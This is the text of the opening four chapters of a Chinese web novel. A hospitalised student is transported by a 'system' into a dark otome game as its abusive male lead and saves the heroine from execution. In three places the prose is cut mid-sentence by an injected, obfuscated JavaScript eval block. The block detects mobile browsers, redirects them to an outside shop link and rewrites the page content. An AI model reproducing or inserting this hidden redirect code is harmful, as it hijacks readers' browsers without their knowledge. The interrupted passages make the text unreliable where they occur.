《开局就满级法师啊?》 1. 第 1 章 朦胧的意识在混沌中几经沉浮,或许是侥幸使然、或许是神明护佑,钟灵的五感于此刻忽然恢复了。 她听见熟悉的声音,朋友与学妹似乎就在她身边交谈。 “学姐的家人还是联系不上吗?” “打不通……你确定号码是对的?” “我存的就是他们班辅导员给的号码啊……一直打不通的话要怎么办,谁来签病危通知书?” “唉,说到底,她明明今天早上还好好的,怎么下午就……” 没有人再说话了,房间里只剩下细碎的呜咽声。 可是,这到底是什么情况啊? 她在哪里来着,为什么要联系她的家人?怎么动不了身体,总觉得哪里都很不舒服…… 钟灵费力地想着,脑袋忽然如雷击般开始疼痛起来。 “你就是钟灵?”有个奇怪的声音在她脑海里响起,“这情况……比我想的要棘手嘛。等一等,我先帮你把脑袋里的血块清理干净……” 谜之声话音刚落,钟灵瞬间清醒过来。 她想起来了—— 想起自己坐在天台上思考人生的时候,突然有人在她身后大叫一声。她吓了一跳,脚底一滑,直接从六楼楼顶摔了下去,失去了意识。 所以她现在应该是在医院了…… 钟灵想睁开眼睛,却发现眼皮跟灌了铅似的沉重,身体也疼的厉害。 如果能回到坠楼之前,她绝对会给自己一巴掌。谁家好人没事学偶像剧主角上天台散心啊?上天台就算了,还非得扒着那块看起来就不太结实的栏杆…… “人类总是在事件发生之后才感到追悔莫及。”对此,神秘之声评价道,“‘事教人,一次入心’,说的果真没错。” 等等。 钟灵终于注意到这个徘徊在她脑海中的不速之客。 这谁啊? “哎呀。你好啊,钟灵小姐。”谜之声仿佛能读出她的想法,愉快地自我介绍道,“我是‘系统’,专门负责拯救像你这样身临绝境的小女孩,只需要你先完成一个小小的任务……” 哦,原来如此。 钟灵在潜意识里无奈地扶额苦笑。 看来是最近游戏打多了,出现幻觉了…… “我可不是幻觉。”自称系统的谜之声说道,语气轻快得让人不爽,“而且比起这个,现在还有更重要的事情等着你呢。” 话音刚落,病房的门被人推开。 学妹的啜泣声停止了,钟灵嗅到一股消毒水的味道。 “家属还没到吗?谁来签字?”有人在催促,大约是医生,“她的情况很不乐观,已经不能拖延下去了。” “家属联系不上。”朋友沉默了一会儿,小心翼翼地问道,“我是她的朋友,能代签吗?” 医生没有说话,取而代之的是纸质资料被传递过去的声音。 稀里哗啦的翻页声在安静的病房里响起来,钟灵终于后知后觉地感到恐惧。 怎么都不说话啊? 她不会要死了吧? “钟灵小姐,你受的伤非常严重哦。”生怕她意识不到似的,系统在她脑海里无情地补充,“内脏破裂、全身粉碎性骨折,包括你的右手。如果不是我帮你清理了脑袋里的血块,你现在还在昏迷当中呢。” 钟灵睁不开眼睛,只能在脑海里和这个可疑的系统对话:“所以呢,你想表达什么?” “互帮互助嘛。”系统说,“咱俩做个约定,你用你打游戏的经验帮我美化一部游戏,我保证你手术成功,后续完全不会影响生活,而且全额报销你的治疗费用。” 有这种好事吗?钟灵十分怀疑。 这一切不会是她临死前的幻想吧?其实坠楼的时候她就已经死了,现在是死后执念创造的幻境之类的,像恐怖游戏一样…… 在她想象到更坏的可能性之前,系统无奈地打断了她:“想象力不是用在这种地方的,小姐……哦,等等,你马上就会认识到这是现实了。” 钟灵还没琢磨出它话中的意思,就听见学妹诧异地打破沉默:“天啊,医药费要这么多钱?医保不能报销吗?我们还是学生……” 医生说:“自杀未遂不符合医保报销的规定。不过事急从权,我可以先进行手术,钱等你们筹够了再交也不迟。” “自杀?”朋友不敢置信地重复了一遍,“不对吧。钟灵平时人缘很好啊……” “现场有目击者作证,医院也有她在精神科的就诊记录。”医生叹了口气,幽幽道,“除非这姑娘自己醒过来说明情况……说到底,她的家人为什么联络不上?” 朋友沉默了,似乎是想到了什么。 而被认定自杀的钟灵,只能在脑袋里欲哭无泪地打出一套军体拳。 太现实了,太现实了! 她现在相信这一切不是幻想了。 “怎么样,钟灵小姐?”系统跃跃欲试地开口,“要不要和我签订契约?只要穿进乙游里,做一场小小的梦,达成皆大欢喜的结局,醒过来就又是好汉一条了哦。而且,不止医药费,我们还会根据你的表现提供额外奖金呢。” 钟灵想了想,左右也没什么好失去的了。 她不想给朋友和学妹添麻烦,便说道:“好吧,亻……” “但是”的“但”只说出一个音节,她倏忽感觉到一阵奇异的、撕扯的力量。 疼痛消失了,学妹与朋友交谈的声音也逐渐远去。钟灵感觉自己好像一团蓬松柔软的棉花,被人从厚重的枕头里抽了出来,然后飘远—— 在被捉住塞进新的枕套之前,她听见系统雀跃的声音: “好耶!总算骗进来了!” ……。 天上果然不会掉馅饼啊!! * 再次恢复意识的时候,钟灵发现自己正躺在一张柔软的沙发上。 她感觉身体好像有点不大对劲,手往下探了探,随后一个激灵从沙发上跳了起来——结果不小心踹翻了一个不知道为什么正伏在她脚边的女人——又打碎了一盏不知道为什么正由另一个女人递到她嘴边的酒杯。 两个女人似乎很畏惧她,面色惨白地跪地求饶。 本该风流的画面变成了单方面的施暴现场,钟灵心乱如麻,下意识安抚几句竟起到反效果。其中一个姑娘吓得险些晕厥过去,她只好挥手让她们离开,尝试自己厘清眼下的状况。 系统在她脑袋里幸灾乐祸地开口:“哎哟,小姐……你的登场方式也太粗暴了一点。” 钟灵没回应它。 她听见系统的声音就想起那句“好耶!” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648630|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,暂时没消气,不是很想搭理它。 她从沙发上拣起酒杯的碎片,借着光的反射看清了自己的脸。 哦,她……不对,现在该说是他了。 这倒说明钟灵为什么觉得身体不对了,这具身体原来是一个好看到雌雄莫辨的男人。 他将垂落的白色发丝拂到耳后,露出男人精致的五官。却见金色的瞳仁落在其人昳丽的眉眼里,在苍白到近乎透明的肌肤映衬之下,散发出一种慵丧而圣洁的奇特气质来。 这是绝不可能出现在现实的长相。 不过,在某部乙游里倒是有个令人印象深刻的同款男主…… “怎么样,没骗你吧?”系统得意地说,“说穿乙游就是穿乙游!而且还是最帅、最强、分量最重的男主哦!” 钟灵顿了一下,问道:“所以,你想让我洗白的,是《不合格皇女》?” 系统打了个哈哈:“这不是,游戏要在大陆上市了嘛。原来的情节过不了审……所以,能改成13+就好啦……” 天上果然不会掉馅饼啊。 钟灵放下碎片,确信地想。 《不合格皇女》是一款非常小众的18+乙女向游戏。 之所以小众,不只是因为18+的分级,更因为它的感情线几乎完全建立在主角的痛苦上,劝退了99%的玩家。 一般人在序章见到把女主拖进贫民窟施暴的男主就会关闭游戏了;打到结局的,不是有特殊癖好、就是像钟灵一样,想知道制作组准备怎么洗白男主的好奇宝宝…… 当然了,洗白是不存在的。 三个男主一个抖S、一个抖M,唯一的正常人男主角则是没有真正意义上的HE的。 抖S是序章就把女主拖进贫民窟施暴的法制咖蜃楼,抖M是超级郁娇兼跟踪狂的重男阿忒菈。结局根本没有洗白,只不过是用所谓真爱让女主角去包容这两个变态,对过去选择性失忆罢了。 至于钟灵现在附身的男主么…… 就是那个所犯罪行能让人写出一篇刑事责任考的抖S男主,蜃楼了。 穿成他也不知道是好是坏…… 在领到的身份卡是罪犯的前提下,该怎么把扭曲的剧本变成梦幻的童话故事呢? 算了。钟灵默默地安慰自己,变成蜃楼总比对付蜃楼要好得多。 不知道现在剧情进展到哪个阶段了,这地方也不像游戏里出现过的场景。难道蜃楼还没遇见希娅吗?还是…… 他想着,把蜃楼敞到腹部的衬衫纽扣规整地系好,又在沙发上找到被随意扯下丢在一旁的领绳,姑且充当发带扎起了头发。 在这个过程中,钟灵注意到躺在沙发角落的一颗金色的投影石。 这东西充当着显示器的作用,上面是有画面的。钟灵看了看,发现播放的似乎是一处市场,闹哄哄的,中央摆着一台巨大的仪器,好像是在办什么集会…… 不对。 仔细一看,那玩意,好像是断头台啊? 这时,系统清了清嗓子,不好意思地开口: “那个小姐……啊不对,蜃楼大人。穿越过程出现了一点问题,现在断头台上面躺着的……好像……是我们的女主角希娅哦。” 钟灵:…… 天上果然不会掉馅饼啊!! 2. 第 2 章 市场、极刑、断头台。 加上一个被公开处刑的希娅,钟灵飞快地判断出眼下的情况。 这是《不合格皇女》的BE_No.4,其名“不自量力的背叛者”。 这部游戏的女主角希娅,是个因意外流落人间的皇女。 在游戏序章的剧情中,她被奴隶商人掳走、卖给一家地下俱乐部,在那里过了三年非人的日子。最后被榨干所有价值,丢弃在贫民窟的角落—— 在那里,她遇到了游戏的男主角之一,蜃楼。 比起俱乐部的客人,蜃楼更年轻,也更英俊。或许出于他欺诈性的外表,又或许是单方面的吊桥效应。尽管蜃楼将希娅救走并持续软禁,她依然对他产生了隐晦的情愫。 然而,对象毕竟是蜃楼。 在察觉到希娅的情感后,他果断地把她拖进了贫民窟。 那天,蜃楼没有亲自动手。 他在希娅的身上洒满了甜腻的糖浆。 贫民窟内,饱受饥饿之苦的乞丐眼冒绿光,饿狼一般扑上去啃食她的身体。直到希娅无力反抗、奄奄一息,蜃楼才居高临下地出手救下她,说出了那串奠定整部游戏基调的经典台词: “克莉希娅,你是不是搞错了什么?” “你啊,现在这样子,已经是最低等的贱民了。” “跟我谈感情,不觉得恶心吗?” “等你坐到足够高的位置,我才会给予你跟我谈判的权利。在这之前,不要做白日梦了……那样只会让我觉得,你是个彻底无药可救的垃圾。” 不平等的爱和畸形的关系,这就是《不合格皇女》感情线的基调。 主线剧情则是希娅回到皇城参与夺嫡的过程。 在这期间,无数的选项分支导向不同的剧情。在BE里,希娅的死法、死因更是千奇百怪。或被疑心重的哥哥杀死,或被暗害中毒而死,或夺嫡失败被处刑而死,又或者因背叛蜃楼反被栽赃送上断头台—— 最后一条,正是现在的情况。 钟灵前两天才打完游戏,对剧情的记忆十分清晰。她忽然明白系统安排她占据蜃楼身体的用意,倘若蜃楼真的想杀死希娅,没有人能够阻止他。 直接赶过去救人已经来不及了。 在系统的提示下,现在的“蜃楼”决定画个传送阵过去。 在游戏背景的弗洛瓦帝国中,魔法师是极其稀缺的高端人才。除了弗洛瓦皇室天生拥有魔力之外,民间仅偶尔出现一两个拥有魔法天赋的人;而在三位可攻略男主中,也只有蜃楼唯一一位魔法师而已。 至于蜃楼的来历,直至游戏结局也未挑明。 钟灵只知道他拥有极其强大的力量,就连手搓传送阵这种换到现代相当于肉身扛火车的事情,也能不费吹灰之力地轻松做到…… 虽说在书里看到什么“魔力流动”、“力量充盈”之类的描述时会心驰神往,但真动起手来,钟灵竟毫无实感。 或许是因为画传送阵的过程太过抽象。房间里没有正经工具(说是蜃楼也不需要),她只是在系统的指示下蘸着红酒汁在地上用手指作画而已。 “这里的角要钝一点,那里再画个四角星,对对,就是这样……”系统说,“哎呀,画得真好!果然找学画画的准没错,选中你的我是个天才也说不定……哦,差点忘了,蜃楼大人,最后站在中心念出想去地方的坐标就行了。” 钟灵:“……” 他擦掉手上的红酒渍,另一只手则攥着那枚投影石。画面里的刽子手已经连刀三个人,下一个就是奄奄一息的希娅。他其实有点想不明白,女主角就快死了,为什么这系统还能在这儿跟他插科打诨? 不过,现在最大的问题反而不是这个…… “所以,”他无奈地开口,“市场的坐标呢?” 方才还在洋洋自得的系统忽然沉默了。 钟灵有种不祥的预感:“你不会不知道吧?” “怎么会呢?”系统苍白地辩解,“要管理的位面那么多,一时半会找不出来一个小小的坐标很正常吧?耐心点嘛大人,再给我半个小时……” 钟灵盯着投影石上的画面。希娅已经被押上去了,再过半个小时,别说救人了,尸体恐怕都凉得透彻。 他闭了闭眼睛,提出两个问题:“除了坐标,还有没有其他开启传送阵的办法?如果没及时赶到希娅死了,又会怎么样?” “希娅死了,我们的任务就失败了哦?”系统说,“这里的情况不太稳定,没办法提供存档读档之类的功能。所以尽量不要让希娅死亡,不然会很麻烦……不用坐标开启也行,但必须要把和传送目的地相关的东西放在法阵上。蜃楼这种人,身上不太可能留什么和市场相关的东西吧……” 钟灵顿了顿,却说:“那倒不一定。” 他扯下房间的窗帘裹在身上,勉强遮住蜃楼显眼的白发。随后将那块投影石放到法阵中央——播放着市场画面的投影石,怎么不算是与市场相关的东西呢? 投影石被传送阵吸纳,最后的画面停留在希娅被按上断头台的那一瞬间。 光芒乍现,钟灵深吸一口气,整个人钻进传送阵里,嘀咕道:“别以为我会放过你狗系统……咱俩的账等我救下希娅再慢慢算哇啊啊啊啊啊啊啊啊啊!!” 不能怪他一惊一乍。 因为系统根本没告诉他,传送阵启动的瞬间会让人进入堪比坐过山车的失重状态呀…… * 木历24年10月21日,王城东街的市场前临时搭成的刑场上,一位弗洛瓦皇室即将被处以极刑。 这可以说是千载难遇的场面。 弗洛瓦皇室向来注重颜面,即便子弟犯下不可饶恕的罪孽,也往往在宫廷内的刑场解决。市场前这一块空地,向来是留给那些异族、反贼,用以杀鸡儆猴的。 因而,如今站在行刑台上的克莉希娅·弗洛瓦,将有幸成为有史以来第一位在市场前被公开处刑的弗洛瓦皇室。 某种程度上说,也算是青史留名。 台下的看客们交头接耳: “那就是弗洛瓦失踪的公主吗?我还以为是刚抓的异族奴隶……” “听说她在外面做了四年的娼女,啧啧,却想着害死找回她的大皇子!要么说女人都不是省油的灯,砍了头才安分呢!” “说到底,她当年到底是怎么失踪的?我只记得皇室大张旗鼓地找了一年,然后就没了下文。” “嗐。可惜没能早点打听到这女人工作的俱乐部。那可是弗洛瓦的公主……” “嘘!慎言!皇子们可都在现场呢,小心治你个蔑视皇室的罪!” 观刑的人多了,难免一些污言秽语。好在台上的希娅听不见那些,在经历一周的严刑逼供之后,她已经失去大半的听力了。 嗅觉也好、味觉也好,都不在了。只剩下闪烁着乱点的视野,映着台上的铡刀、台下的人群、还有对面酒馆二楼,正在阳台上观刑的、她的哥哥们—— 大皇子亚纶与二皇子希恩。 哦,还有她的妹妹玫理纱,也正坐在他们中间,揪着手帕望向这里呢。 刽子手是不懂怜香惜玉的,遑论她如今只是个满身血污、看不出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648631|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 本来形状的死刑犯。希娅被粗暴地押解着站到铡刀前,她的心早已麻木了,却在脸颊贴上底槽的那一刻,本能地感到恐惧。 再过一会,铡刀落下,她就要死掉了呀。 希娅后知后觉地想。 她已经很久没吃东西了,脑袋像生了锈的齿轮,转动得很慢很慢。只剩下生物的本能驱使着她,使尽所有力气挣扎两下,却像是睡梦挣动的小猫一样,并不让人觉得威胁。 她只好放弃,转而想起她的亲人们。 希娅的妈妈死得更早一些。 爸爸大约在处理国务吧,他是没空来的。 可她的兄弟姐妹们都在呢,真是让人高兴…… 希娅转动她漆黑的眼珠,看见露台上的大哥冷着脸开口说了些什么。二哥的表情不是很好看,妹妹玫理纱夹在二人中间,手里的帕子拧得几乎变形。 他们应该不是在为她沮丧吧,希娅想。 因为她是刺杀大哥的罪人,皇室的身份也无法消弭她的罪恶。所以她要在这里死去,在所有人的见证下,展示意图杀死兄弟的、弗洛瓦的下场。 大哥不高兴,是因为她丢了弗洛瓦皇室的脸。 二哥不高兴,是因为如果他短期内不好再对大哥下手了。 妹妹不高兴,是因为她不喜欢看见这样血腥残暴的场面…… ……真是可惜了。 她现在只是个什么都干不了的死刑犯。 这么好的,能让大家一起去死的、再也不用争执作对的机会,怎么就错过了呢……? 希娅暗暗地想。 铡刀升起了,上一个被斩首的家伙,已经被“一股脑”地装进了藤编的篮子里。希娅的脑袋大概也会被收进那里,尽管她不太喜欢和别人贴得太近。 算了!事到如今,想这些又有什么用呢? 就让她赶紧死掉吧,这种恶心的世界,她连一刻也不想多待—— 希娅这样想着,忽然看见一个孩子从酒馆旁的面包房里唱着歌出来。 他手里的纸袋鼓鼓囊囊,散发出烤饼的香味。这是面包师收集了贵族餐桌上剩下的白面包碎屑,再和上鸡蛋、面粉制作而成的,可以叫平民们用更便宜的价钱尝到小麦的味道。 抱着烤饼的孩子注意到市场前的景象,垫着脚想挤进来凑热闹,却被跟在身后的母亲遮住眼睛,骂骂咧咧地拎走了。 希娅的泪水,则在看见那孩子消失在街巷尽头之后涌现出来。 “妈妈……”她张张嘴唇,却只能发出嘶哑的声音,“我、我不想死……呜……刺杀哥哥的事……不是我做的……求您……” 铡刀被拉到最高处,操纵着机关的刽子手对她的求饶熟视无睹,似乎已经见惯。 事实上,前三个死在这铡刀下的囚犯,也是这样向他求饶的。 可是,这有什么用呢? 当她被宣布失踪的那一天起,一切就已经注定了。 当她遇见那个男人……蜃楼的那一刻起,这一天就已经注定了。 希娅流着眼泪,枯瘦的手指攥到最紧。她死死地盯着刽子手——当他的手松开摇杆,铡刀落下,一切就要结束了。 她没能拯救没用的自己,也没有人会来救她了。 “咔”的一声,是机关解锁的声音。 然而, 预想的疼痛也好、死亡也好,好像什么都没有来临。 只有一滴、两滴冰凉的液体落到希娅的脸上,越来越多,最终汇成一股,滴滴答答地落下。 直到刚才为止还晴朗万分的王城,忽然下起了瓢泼大雨。 3. 第 3 章 暴雨骤临,漆黑的云丛中电光乍现。一道惊雷落在行刑台上,刽子手连忙松开摇杆,闪避到另一边。 连接着铡刀的滑轮因而开始转动。 冰冷的刀锋落下去,撞击到空荡荡的沟槽上,发出尖锐的铮鸣—— 这时,终于有人注意到,本该人头落地的希娅,已经悄无声息地从行刑台上消失了。 与此同时,封闭的市场大门被一道可疑的身影撞开…… “死刑犯被人劫走了!快追啊!” “犯人跑进市场了!封锁所有出入口!” 卫队迅速集结,其他人群则惊呼着四处逃窜。不多时,原本热闹的行刑台变得冷清起来。只剩下皇城卫队迈着整齐的阵列,在二皇子希恩的指挥下飞快地将这座室内市场包围。 …… 用以蔽身的窗帘布被雨水浸透,“蜃楼”此时正迈着湿哒哒的步子,于被封锁的市场内与卫兵周旋。 “所以,目前的好消息是,小希娅成功得救了。”系统在他脑袋里整理情况,还是那副幸灾乐祸的样子,“坏消息是,我们的蜃楼大人带着死刑犯逃进了封闭的市场。这个市场呢,又已经被赶来的卫兵们包围了……” 蜃楼没搭理它,只是把失去意识的希娅扛在肩上,一边大步奔行,一边放下沿途的木板、货架之类的障碍物。 原本被净空的市场一下子变得乱七八糟。 “你应该知道这样拖不了多久吧?”系统说,“所有出口都已经被包围了,他们迟早会追上你的哦。” 蜃楼回头看了一眼,一队追兵正在他身后骂骂咧咧地清理障碍物。大约二十米的距离,他们暂时追不上他,但狗系统说得没错,被抓回去只是时间问题。 他想了想,不过一会儿,行进的章法便变得混乱起来。 蜃楼先是跃过这边翻倒的面粉袋、绕开那边摇摇欲坠的果蔬架,又从中央的柜台横跨过去。如是反复了几次,终于成功绕晕了背后紧跟着他的追兵,将他们之间的距离拉得更大了。 但是,如果说这就是钟灵最后的答卷,只能说聊胜于无。 这座市场很大,足够他和卫兵们玩你追我逃的游戏,但最终总该找一个出口离开。只要被卫队猜出蜃楼离开的方向,一切就都将尘埃落定了。 “怎么样,蜃楼大人,你的打算呢?”系统问道,“其实,以你的能力,大可以直接烧穿市场的墙壁,一路杀出去——虽然我不建议这么做,这样不太13+——但毕竟是为了拯救希娅,适当的牺牲是可以理解的嘛。到时在文案里,直接用‘杀出一条血路’这样的说法糊弄过去就好了。” 适当的牺牲…… 蜃楼扯了扯嘴角,依然没有做出回应。在躲避追兵的过程中,他的步伐无可避免地朝着市场的南部出口靠近—— 因为在市场南出口之外的一百五十米处,便是皇城的大门。 真要杀出一条血路,这条路线无疑是最优的选择。 多亏系统及时翻出来的地图,蜃楼不至于像无头苍蝇一样在市场内乱转。但这反而让他再一次认识到了这所谓任务的荒唐:能从铡刀底下救出希娅都算他走狗*运了,逃?除了这张地图,他什么准备也没有了,还能怎么逃? 哪怕是现在这样紧迫的时候,钟灵也依旧想在内心哀嚎一声: 天上果然不会掉馅饼啊!! “第二小队!第三小队!犯人的目标是南部出口,立刻停止追踪,到南部出口与我汇合!” 这是在市场南部落位的二皇子希恩的声音。 大概是担心蜃楼听不清楚,系统又贴心地重复了一遍:“二皇子在南出口埋伏好了哦——真的要走那里吗?现在烧穿墙壁逃走才是更好的办法。” “闭嘴啊。”蜃楼忍无可忍地打断它,“我有我自己的打算……” 话音刚落,他忽然意识到,身后的追兵不知何时消失了。 取而代之的,是从正对面——市场南出口向他逼近的卫队。以二皇子希恩为首,整齐的方形阵列将大门密不透风地围堵起来,彻底断绝了蜃楼从这条路逃出皇城的可能性。 “放弃挣扎吧,你是逃不出去的!”希恩站在队首,手中的长弓缓慢地拉到最满,“为什么要救一个死刑犯?还是说……你也是参与刺杀的同谋?” 蜃楼停下了脚步。 加厚的窗帘将他的身体挡得严严实实,从希恩的角度,只能看到一大片被雨水打透的暗红色布料、和布料下若隐若现的苍白下颌——他从轮廓中判断出对方是个成年男人,或许是希娅在俱乐部结识的“恩客”也说不定。 乌合之众能做出什么事儿来他都不奇怪,只是恼怒于这个妹妹带来的、接二连三的麻烦。 足足两次,她竟然连受死都不肯安生! 蜃楼后退一步,没有回答他,这让希恩看见了别样的希望。 对他来说,希娅今天非死在这里不可,至于这个横插一脚的家伙……能在这么多人的眼皮子底下劫走希娅,他不能否定对方的能力。 而他眼下最缺的,就是这样头脑一热就出手、稍微威胁就退的奴隶了。 “听好了,你救的这个女人,是意图谋杀皇室的叛徒!”希恩说道,煞有其事一般地苦心劝导,“皇室寻找她这么多年,她却用一场残忍的刺杀来回报我们。你强掳刑犯,本该由花园法庭进行审判,但我愿意给你一次机会。先生,你只是被这女人的花言巧语蒙蔽了双眼,现在将她就地正法,我们可以当做什么都没发生……” 分明是晓之以理、动之以情的感人演说,如果他手里没拿着那张满弦弓的话。 蜃楼在心里鄙视着,将手伸到身前,扯下一根头发。而后继续忽略脑海里煽动他杀人的系统,把捏着头发的手从掩身的布料下伸了出来。 与此同时,希恩神色一凝,松开了拉住弓弦的手指。 长箭离开弓弦,发出尖锐的破空声,以肉眼无法看清的速度朝蜃楼飞去! 那是弗洛瓦皇室的宝器,拥有着能够无视任何结界、护甲,生生穿透一堵十厘米厚的城墙的力量。只要被它击中,哪怕是天赋极高的大魔法师,也只能在此迎来终结…… 然而,当一缕纯白的发丝悄然落地。 以市场中心为原点,蜃楼所走过的每一寸地方,留下的每一条湿漉漉的水渍,倏然闪烁起奇异的光芒。 长箭在进入光阵的瞬间被扭曲消失,只余一阵强劲的疾风,掀开了包裹着蜃楼的暗红色绒布,展露出那昳丽非常的面目来。 哦,暴露了啊。 蜃楼撇了撇嘴,一不做二不休。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14648632|156579||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 在被传送阵的光芒吞没之前,他朝传送阵外错愕的希恩竖起中指,一字一句地说: “去,你,*,的。” * 千里之外的某处神殿遗迹,一支长箭突然出现,笔直地插进了神像的脚踝。 过了一会儿,一只苍白的手伸过来,拔出箭柄、将其折为两半,投入了燃烧的火堆。 火焰发出“噼啪”的声音,餍足地向上腾跃。 再看窗外,已然风停雨歇。 湿透的窗帘被挂起来烘干,昏迷的希娅则被安置在旁边的石板上。至于蜃楼,作为这鬼地方目前为止唯一清醒的活人,正在起锅烧火,准备给病号弄点吃的。 “钟……哦不,不,蜃楼大人,请原谅我先前的冒昧!”系统在他脑袋里雀跃地说,“用水痕绘制传送阵!多么精彩的想法!那一步退得更是绝妙,不但悄无声息地迈进传送阵的范围里,还让二皇子误以为你萌生退意……正所谓‘四两拨千斤,一木支危楼’,哎唷,创造出这个新蜃楼的我是天才也说不定……” “你装完了吗?”蜃楼无可奈何地打断它,“我有个问题。这里不会就是蜃楼的据点吧?” 鉴于蜃楼大魔法师(疑似)的身份,钟灵本以为他的头发会带她来到类似于法师塔的地方。最好有完善的安保、无穷的财富、奇妙的宝物,再不济一个能遮风避雨的小屋也行,实在没想到会跑来这个鬼地方。 火是捡一起被传送过来的市场的木架点的,锅是拿神像腿边的盾牌cosplay的。吃的……得亏传送阵是在市场里画的,有些落在地上的果蔬也被一起传送过来。 只是数量不多,更没有净水,蜃楼只能从湿透的窗帘布里挤点出来煮开。 就这种条件了。 希娅的情况不能离人太远,他暂时很难腾出空来跑到更远的地方寻找食物或水源。 “这就是蜃楼的据点啊!”系统难得给了一个肯定的答案,“别看现在这样,以前可辉煌了,比你们那儿的白金汉宫还热闹呢。” 蜃楼毫不留情地点破它:“以前?你是指几百年前,还是几千年前?” 系统不说话了,开始装死。 蜃楼撇了撇嘴,懒得计较下去。只等到铁锅上的水开了,用随手捡的陶瓮盛了些水,吹凉之后送到了希娅的嘴边。 他正打算喂下去,忽然想起什么,把横躺着的人扶起来,让她靠着自己肩膀半躺好,再小心地将陶瓮中的水送过去。 希娅依然昏迷,但龟裂的嘴唇接触到液面,几乎是本能地将水抿了下去。 几滴水让她的嘴唇看起来没有那么干涩了。不过,要根治身体的亏空,还是杯水车薪。 这个人,太虚弱、太瘦小了。 蜃楼扶着她的时候,没来由地想起自己在学校捡到的一只小猫。 那是只布偶猫,不知道为什么被丢弃在宿舍的花坛里。被人发现的时候,已经瘦得只剩下骨头。眼睛也睁不开,头也没力气抬,却知道舔她泡好的羊奶拌猫粮…… 系统说这世界只是个游戏,但钟灵此刻忽然产生了一丝怀疑。 求生的本能要如何用代码复刻? 这个遍体鳞伤的、每次呼吸就好像用尽全身气力的女孩,怎么会只是个虚幻的纸片人呢? 4. 第 4 章 所谓怀疑,就像潘多拉的盒子,一旦打开,便会引出更多的问题。 如果希娅不是纸片人,其他人一样没可能是。 那么,问题就出现了: 现在钟灵占据了蜃楼的身体,原来的蜃楼又去了哪里呢? 但钟灵没再深思下去。她想了想,决定不把时间浪费在思考这种抽象的事情上。 她很明确自己的目标,有且只有一个—— 完成系统派发的任务,尽快回到原来的世界。 可话又说回来,狗系统本来干的也是强买强卖的事情。 当时在病房里,她明明只说了句“好吧”,根本没正式答应,就这样被赶鸭子上架…… 现在呢,“钟灵”在另一个世界生死未卜,这里只剩下垂头丧气的“蜃楼”。脑袋里带着一个不靠谱的狗系统,还背上了“劫走死刑犯”的一口大锅。 “狗系统,我问你。”蜃楼躺在废墟的石砖上,心不平气不和地开口,“现在的剧情已经完全脱离主线了。一个死刑犯该怎么夺嫡,结局又应该怎么走才算完成任务?” 系统说:“事在人为嘛……你觉得什么样的结局,对希娅来说才是HappyEnding呢?” 蜃楼闻言,慢吞吞地坐起来,支着下巴看了一眼依然沉睡的希娅。 “从故事的角度出发,当然是夺回皇位,走上人生巅峰了。”他认真地说,“但最主要的,还是希娅自己的想法吧。比如……” “天哪,不是吧?”系统语气夸张地打断他,“大人,你现在是在为一个纸片人考虑吗?这里是游戏的世界,我们要做的是打造大家喜闻乐见的剧情,而不是什么‘向往的生活’克莉希娅篇。再说了,主角就是要身不由己才有乐趣啊。” 就不该尝试跟它正常交流的。 蜃楼按了按眉心:“我不是在为希娅考虑。你要皆大欢喜的结局,怎么可能完全不在乎她的意志?问题是该做到哪种程度,如果现在的希娅完全没有夺嫡的想法,我又应该怎么做,难道要像之前的蜃楼一样威胁她吗?” 系统沉默了一会儿,再开口时,语气软了些:“也有道理哦……放心吧,希娅不会放弃夺嫡的,结局还是以登上皇位为准。她啊,本来就是为了这个位置而生的,再说……” 它正要说下去,忽然意识到什么,硬生生地将话题扭转回来:“再说,之前的蜃楼也不会冒这么大的险去救希娅嘛。你不是他,不用强行扮演那样的角色。当然,你不属于这里的事情,也最好不要暴露……如果不想被当成精神病的话。” 话音落下,安静的神殿里,一时只剩下火焰噼啪地响着。 蜃楼抿起嘴唇,用手捻了捻晒着的窗帘,暗自嘀咕:“就算非要我演我也不会演的。” 被火烤了一个多小时,这块绒布已经干得差不多了。蜃楼把它抖了抖,盖在希娅的身上,充当毯子的作用。 在这个过程中,他触碰到希娅的皮肤。或更确切地说,是她枯瘦到已经能看出骨壑的胳膊——人的四肢温度本该是偏低的,希娅却烫得离谱,这显然不太正常。 蜃楼伸手去探她的额头。果不其然,她发烧了,而且十分严重。 他不懂医护,只能询问系统:“希娅现在的身体是什么状况,你能看出来吗?” “嗯?哦等等,我看看啊……”系统顿了顿,说道,“情况不太好。她的肋骨和手指都骨折了,身上很多鞭伤、擦伤,大部分恶化发脓。发烧也是这个原因,现在最好先降低体温,再找个专业的医师进行治疗。” “医师?这个世界难道没有治愈魔法之类的吗?”蜃楼不解地问。 